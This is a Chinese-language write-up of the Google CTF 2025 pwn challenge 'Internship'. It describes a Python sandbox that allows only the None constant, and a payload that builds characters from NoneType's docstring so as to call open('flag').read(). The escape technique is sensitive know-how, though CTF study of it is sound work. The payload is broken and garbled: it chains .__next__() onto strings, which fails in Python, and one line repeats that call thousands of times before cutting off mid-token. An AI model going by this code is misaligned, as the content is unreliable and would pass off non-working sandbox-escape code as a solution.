GoogleCTF2025之pwn-Internship详解
字数 803 2025-08-30 06:50:27
Python字节码与CodeType对象深入解析
题目背景与概述
这道Google CTF 2025的pwn题目"Internship"展示了一个有趣的Python字节码操作场景。题目描述了一位实习生遇到的奇怪现象:Python shell在要求返回2时返回1,要求返回9时返回6,要求返回20时返回4。这提示我们Python解释器的内部整数处理机制被修改了。
核心知识点解析
CodeType对象
CodeType是Python中表示字节码对象的类型,属于types模块的一部分。它封装了Python函数或模块编译后的底层字节码信息,是动态创建和执行代码的关键工具。
CodeType对象包含以下重要属性:
co_code: 包含实际字节码的字节串co_names: 全局变量名称元组co_consts: 代码中使用的常量元组co_varnames: 局部变量名称元组co_argcount: 参数数量
题目中的字节码限制
题目通过以下方式限制代码执行:
- 将
co_consts赋值为(None,),限制只能使用None常量 - 通过
co_names控制可用的全局变量和函数 - 使用
swap函数打乱整数内存表示,导致数字行为异常
字节码执行流程
- 读取输入字符串并编译为代码对象
- 动态创建CodeType对象,应用限制
- 将字节码包装为可调用函数
- 执行函数前打乱内存中的整数表示
- 执行用户提供的代码
漏洞利用技术
绕过常量限制
由于只能使用None常量,我们需要通过以下方式构造其他值:
-
利用None的属性方法:
None.__class__: 获取NoneType类None.__doc__: 获取文档字符串None.__str__(): 转换为字符串
-
使用迭代器方法构造字符:
# 获取字符'f' p=None f=p.__class__.__doc__.__iter__().__next__().__next__().__next__().__next__().__next__().__next__().__next__()
构造完整payload
通过组合多个字符构造open('flag').read():
p=None
# 构造'open'
o=p.__class__.__doc__.__iter__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next__().__next